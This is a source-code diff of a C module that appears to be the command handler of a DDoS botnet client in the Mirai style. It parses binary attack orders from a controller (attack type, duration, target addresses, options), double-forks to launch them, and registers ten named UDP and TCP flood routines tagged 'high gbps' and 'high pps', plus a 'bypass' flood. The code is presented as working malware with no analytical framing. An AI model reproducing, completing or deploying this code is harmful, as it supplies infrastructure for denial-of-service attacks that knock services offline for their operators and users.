|
| 1 | +#define _GNU_SOURCE |
| 2 | + |
| 3 | +#include <stdint.h> |
| 4 | +#include <arpa/inet.h> |
| 5 | +#include <stdlib.h> |
| 6 | +#include <unistd.h> |
| 7 | +#include <signal.h> |
| 8 | +#include <string.h> |
| 9 | + |
| 10 | +#include "headers/command.h" |
| 11 | +#include "headers/includes.h" |
| 12 | + |
| 13 | +static COMMAND_FUNC retrieve_command_func(uint8_t id) |
| 14 | +{ |
| 15 | + return command_list[id].func; |
| 16 | +} |
| 17 | + |
| 18 | +char *retrieve_opt_str(struct option *opt, uint8_t opt_len, uint8_t id, char *default_val) |
| 19 | +{ |
| 20 | + char *val; |
| 21 | + int x = 0; |
| 22 | + |
| 23 | + val = default_val; |
| 24 | + |
| 25 | + for(x = 0; x < opt_len; x++) |
| 26 | + { |
| 27 | + if(opt[x].id == id) |
| 28 | + val = opt[x].val; |
| 29 | + } |
| 30 | + |
| 31 | + return val; |
| 32 | +} |
| 33 | + |
| 34 | +uint16_t retrieve_opt_num(struct option *opt, uint8_t opt_len, uint8_t id, uint16_t default_val) |
| 35 | +{ |
| 36 | + uint16_t val = 0; |
| 37 | + int x = 0; |
| 38 | + |
| 39 | + val = default_val; |
| 40 | + |
| 41 | + for(x = 0; x < opt_len; x++) |
| 42 | + { |
| 43 | + if(opt[x].id == id) |
| 44 | + val = atoi(opt[x].val); |
| 45 | + } |
| 46 | + |
| 47 | + return val; |
| 48 | +} |
| 49 | + |
| 50 | +uint32_t retrieve_opt_ipv4(struct option *opt, uint8_t opt_len, uint8_t id, uint32_t default_val) |
| 51 | +{ |
| 52 | + uint32_t val = 0; |
| 53 | + int x = 0; |
| 54 | + |
| 55 | + val = default_val; |
| 56 | + |
| 57 | + for(x = 0; x < opt_len; x++) |
| 58 | + { |
| 59 | + if(opt[x].id == id) |
| 60 | + val = inet_addr(opt[x].val); |
| 61 | + } |
| 62 | + |
| 63 | + return val; |
| 64 | +} |
| 65 | + |
| 66 | +static void terminate_command(struct arguments *args) |
| 67 | +{ |
| 68 | + int ppid = -1; |
| 69 | + int i = 0; |
| 70 | + |
| 71 | + sleep(args->time); |
| 72 | + |
| 73 | + ppid = getppid(); |
| 74 | + |
| 75 | + if(ppid > 1) |
| 76 | + { |
| 77 | + kill(ppid, SIGKILL); |
| 78 | + } |
| 79 | + |
| 80 | + if(args->targets) |
| 81 | + { |
| 82 | + free(args->targets); |
| 83 | + } |
| 84 | + |
| 85 | + if(!args->options) |
| 86 | + { |
| 87 | + exit(0); |
| 88 | + } |
| 89 | + |
| 90 | + for(i = 0; i < args->num_of_flags; i++) |
| 91 | + { |
| 92 | + free(args->options[i].val); |
| 93 | + } |
| 94 | + |
| 95 | + free(args->options); |
| 96 | + |
| 97 | + exit(0); |
| 98 | +} |
| 99 | + |
| 100 | +static void command_flood(uint8_t id, struct option *opt, uint8_t num_of_flags, struct target *target, uint8_t num_of_targets, uint16_t time) |
| 101 | +{ |
| 102 | + COMMAND_FUNC func; |
| 103 | + int pid = -1; |
| 104 | + int pid2 = -1; |
| 105 | + struct arguments args; |
| 106 | + |
| 107 | + func = retrieve_command_func(id); |
| 108 | + if(!func) |
| 109 | + { |
| 110 | + return; |
| 111 | + } |
| 112 | + |
| 113 | + // Build the command arguments |
| 114 | + args.targets = target; |
| 115 | + args.num_of_flags = num_of_flags; |
| 116 | + args.num_of_targets = num_of_targets; |
| 117 | + args.options = opt; |
| 118 | + args.time = time; |
| 119 | + |
| 120 | + pid = fork(); |
| 121 | + |
| 122 | + if(pid == -1) |
| 123 | + { |
| 124 | + return; |
| 125 | + } |
| 126 | + |
| 127 | + if(pid != 0) |
| 128 | + { |
| 129 | + return; |
| 130 | + } |
| 131 | + |
| 132 | + pid2 = fork(); |
| 133 | + |
| 134 | + if(pid2 == -1) |
| 135 | + { |
| 136 | + exit(1); |
| 137 | + } |
| 138 | + |
| 139 | + // Sleep inside the grandchild |
| 140 | + if(pid2 == 0) |
| 141 | + { |
| 142 | + terminate_command(&args); |
| 143 | + } |
| 144 | + |
| 145 | + // Call the command function here in the child |
| 146 | + func(&args); |
| 147 | +} |
| 148 | + |
| 149 | +void command_parse(char *buf, int buf_len) |
| 150 | +{ |
| 151 | + uint8_t id = 0; |
| 152 | + uint8_t num_of_targets = 0; |
| 153 | + struct option *opt = NULL; |
| 154 | + struct target *target = NULL; |
| 155 | + int x = 0; |
| 156 | + uint8_t num_of_flags = 0; |
| 157 | + uint16_t time = 0; |
| 158 | + |
| 159 | + // Read in the ID first |
| 160 | + id = *(uint8_t *)buf; |
| 161 | + buf += sizeof(uint8_t); |
| 162 | + buf_len -= sizeof(uint8_t); |
| 163 | + |
| 164 | + // Read in the time duration |
| 165 | + time = *(uint16_t *)buf; |
| 166 | + time = ntohs(time); |
| 167 | + buf += sizeof(uint16_t); |
| 168 | + buf_len -= sizeof(uint16_t); |
| 169 | + |
| 170 | + // Read in the number of targets |
| 171 | + num_of_targets = *(uint8_t *)buf; |
| 172 | + buf += sizeof(uint8_t); |
| 173 | + buf_len -= sizeof(uint8_t); |
| 174 | + |
| 175 | + // Allocate some space for the target+netmask |
| 176 | + target = (struct target *)calloc(num_of_targets, sizeof(struct target)); |
| 177 | + if(!target) |
| 178 | + return; |
| 179 | + |
| 180 | + // Read in the target+netmask |
| 181 | + for(x = 0; x < num_of_targets; x++) |
| 182 | + { |
| 183 | + target[x].host = *(uint32_t *)buf; |
| 184 | + buf += sizeof(uint32_t); |
| 185 | + buf_len -= sizeof(uint32_t); |
| 186 | + target[x].netmask = *(uint8_t *)buf; |
| 187 | + buf += sizeof(uint16_t); |
| 188 | + buf_len -= sizeof(uint16_t); |
| 189 | + } |
| 190 | + |
| 191 | + // Read in the flag count |
| 192 | + num_of_flags = *(uint8_t *)buf; |
| 193 | + buf += sizeof(uint8_t); |
| 194 | + buf_len -= sizeof(uint8_t); |
| 195 | + |
| 196 | + if(num_of_flags == 0) |
| 197 | + { |
| 198 | + command_flood(id, opt, num_of_flags, target, num_of_targets, time); |
| 199 | + return; |
| 200 | + } |
| 201 | + |
| 202 | + // Allocate some space for the flag id+val |
| 203 | + opt = (struct option *)calloc(num_of_flags, sizeof(struct option)); |
| 204 | + if(!opt) |
| 205 | + { |
| 206 | + free(target); |
| 207 | + return; |
| 208 | + } |
| 209 | + |
| 210 | + // Read in flag id+val |
| 211 | + for(x = 0; x < num_of_flags; x++) |
| 212 | + { |
| 213 | + uint16_t val_len = 0; |
| 214 | + |
| 215 | + opt[x].id = *(uint8_t *)buf; |
| 216 | + buf += sizeof(uint8_t); |
| 217 | + buf_len -= sizeof(uint8_t); |
| 218 | + |
| 219 | + val_len = *(uint16_t *)buf; |
| 220 | + val_len = ntohs(val_len); |
| 221 | + buf += sizeof(uint16_t); |
| 222 | + buf_len -= sizeof(uint16_t); |
| 223 | + |
| 224 | + opt[x].val = (char *)malloc(val_len + 1); |
| 225 | + memcpy(opt[x].val, buf, val_len); |
| 226 | + opt[x].val[val_len] = 0; // We shouldn't have to null terminate the buffer but just incase |
| 227 | + |
| 228 | + buf += val_len; |
| 229 | + buf_len -= val_len; |
| 230 | + |
| 231 | + } |
| 232 | + |
| 233 | + // Initialize the flood |
| 234 | + command_flood(id, opt, num_of_flags, target, num_of_targets, time); |
| 235 | + return; |
| 236 | +} |
| 237 | + |
| 238 | +static void load_command(uint8_t id, COMMAND_FUNC func) |
| 239 | +{ |
| 240 | + command_list[id].id = id; |
| 241 | + command_list[id].func = func; |
| 242 | + return; |
| 243 | +} |
| 244 | + |
| 245 | +void init_commands(void) |
| 246 | +{ |
| 247 | + load_command(FLOOD_UDPFLOOD, (COMMAND_FUNC)flood_udp_classic); // high gbps flood |
| 248 | + load_command(FLOOD_SYNFLOOD, (COMMAND_FUNC)flood_tcp_gsyn); // high gbps flood |
| 249 | + load_command(FLOOD_ACKFLOOD, (COMMAND_FUNC)flood_tcp_gack); // high gbps flood |
| 250 | + load_command(FLOOD_UDPPLAIN, (COMMAND_FUNC)flood_udp_plain); // high pps flood |
| 251 | + load_command(FLOOD_SYNPLAIN, (COMMAND_FUNC)flood_tcp_syn); // high pps flood |
| 252 | + load_command(FLOOD_ACKPLAIN, (COMMAND_FUNC)flood_tcp_ack); // high pps flood |
| 253 | + load_command(FLOOD_SYNACK, (COMMAND_FUNC)flood_tcp_sack); // high pps flood |
| 254 | + load_command(FLOOD_ACKPSH, (COMMAND_FUNC)flood_tcp_stomp); // high pps flood |
| 255 | + load_command(FLOOD_BYPASS, (COMMAND_FUNC)flood_udp_bypass); // bypass flood |
| 256 | + load_command(FLOOD_TCPSOCKET, (COMMAND_FUNC)flood_tcp_socket); // holds sockets open |
| 257 | + return; |
| 258 | +} |
0 commit comments